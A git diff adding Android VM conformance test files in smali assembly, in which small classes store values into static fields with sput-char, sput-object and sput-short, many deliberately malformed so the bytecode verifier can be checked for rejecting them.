+.source "T_sput_char_8.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-char v1, Ldot/junit/opcodes/sput_char/TestStubs;->TestStubField:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_9.smali
new file mode 100644
index 0000000..a465488
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_9.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_9noclass;->st_i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_11.smali
new file mode 100644
index 0000000..0efae65
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_11.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_11.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-object v2, Ldot/junit/opcodes/sput_object/TestStubs;->TestStubFieldFinal:Ljava/lang/Object;
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_14.smali
new file mode 100644
index 0000000..86baed4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_14.smali

@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_14.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_14;
+.super  Ldot/junit/opcodes/sput_object/d/T_sput_object_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_object/d/T_sput_object_1;-><init>()V
+       return-void
+.end method
+
+.method public static getProtectedField()Ljava/lang/Object;
+.registers 2
+
+       sget-object v0, Ldot/junit/opcodes/sput_object/d/T_sput_object_1;->st_p1:Ljava/lang/Object;
+       return-object v0
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-object v2, Ldot/junit/opcodes/sput_object/d/T_sput_object_1;->st_p1:Ljava/lang/Object;
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_15.smali
new file mode 100644
index 0000000..7d82fe8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_15.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_15.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_15;
+.super  Ldot/junit/opcodes/sput_object/d/T_sput_object_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_object/d/T_sput_object_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-object v2, Ldot/junit/opcodes/sput_object/d/T_sput_object_1;->st_pvt1:Ljava/lang/Object;
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_17.smali
new file mode 100644
index 0000000..9faa755
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_17.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_17.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_17;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-object v2, Ldot/junit/opcodes/sput_object/d/T_sput_object_17;->st_i1:Ljava/lang/Object;
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_18.smali
new file mode 100644
index 0000000..ed272d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_18.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_18.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_18;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-object v2, Ldot/junit/opcodes/sput_object/d/T_sput_object_18;->st_i1:D
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_21.smali
new file mode 100644
index 0000000..53b51ef
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_21.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_21.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_21;
+.super  Ljava/lang/Object;
+
+.field public static st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       sput-object v3, Ldot/junit/opcodes/sput_object/d/T_sput_object_21;->st_c:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_22.smali
new file mode 100644
index 0000000..edda48e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_22.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_22.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_22;
+.super  Ljava/lang/Object;
+
+.field public static st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       sput-object v3, Ldot/junit/opcodes/sput_object/d/T_sput_object_22;->st_i:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_23.smali
new file mode 100644
index 0000000..fadfdd3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_23.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_23.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_23;
+.super  Ljava/lang/Object;
+
+.field public static st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       sput-object v3, Ldot/junit/opcodes/sput_object/d/T_sput_object_23;->st_b:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_24.smali
new file mode 100644
index 0000000..ad764d4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_24.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_24.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_24;
+.super  Ljava/lang/Object;
+
+.field public static st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       sput-object v3, Ldot/junit/opcodes/sput_object/d/T_sput_object_24;->st_z:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_6.smali
new file mode 100644
index 0000000..d559c5b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_6.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_6.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_6;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-object v3, Ldot/junit/opcodes/sput_object/d/T_sput_object_6;->st_i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_8.smali
new file mode 100644
index 0000000..62a26f1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_8.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_8.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-object v2, Ldot/junit/opcodes/sput_object/TestStubs;->TestStubField:Ljava/lang/Object;
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_1.smali
new file mode 100644
index 0000000..4af47cd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_1.smali

@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_1.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_1;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:S
+.field protected static st_p1:S
+.field private static st_pvt1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static getPvtField()S
+.registers 2
+
+       sget-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_1;->st_pvt1:S
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_1;->st_i1:S
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_10.smali
new file mode 100644
index 0000000..4349f10
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_10.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_10.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_10;->st_i1N:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_11.smali
new file mode 100644
index 0000000..82c2e40
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_11.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_11.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-short v1, Ldot/junit/opcodes/sput_short/TestStubs;->TestStubFieldFinal:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_12.smali
new file mode 100644
index 0000000..009b944
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_12.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_12.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_12;
+.super  Ljava/lang/Object;
+
+.field public static final st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_12;->st_i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_14.smali
new file mode 100644
index 0000000..9096645
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_14.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_14.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_14;
+.super  Ldot/junit/opcodes/sput_short/d/T_sput_short_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_short/d/T_sput_short_1;-><init>()V
+       return-void
+.end method
+
+.method public static getProtectedField()S
+.registers 2
+
+       sget-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_1;->st_p1:S
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_1;->st_p1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_15.smali
new file mode 100644
index 0000000..836d384
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_15.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_15.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_15;
+.super  Ldot/junit/opcodes/sput_short/d/T_sput_short_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_short/d/T_sput_short_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_1;->st_pvt1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_17.smali
new file mode 100644
index 0000000..a55e43d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_17.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_17.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_17;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_17;->st_i1:S
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_18.smali
new file mode 100644
index 0000000..05eca57
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_18.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_18.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_18;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_18;->st_i1:D
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_2.smali
new file mode 100644
index 0000000..23dc085
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_2.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_2.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_2;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       sput-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_4;->st_i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_21.smali
new file mode 100644
index 0000000..f05917a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_21.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_21.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_21;
+.super  Ljava/lang/Object;
+
+.field public static st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 12    
+       sput-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_21;->st_c:C
+       return-void
+.end method
+
+

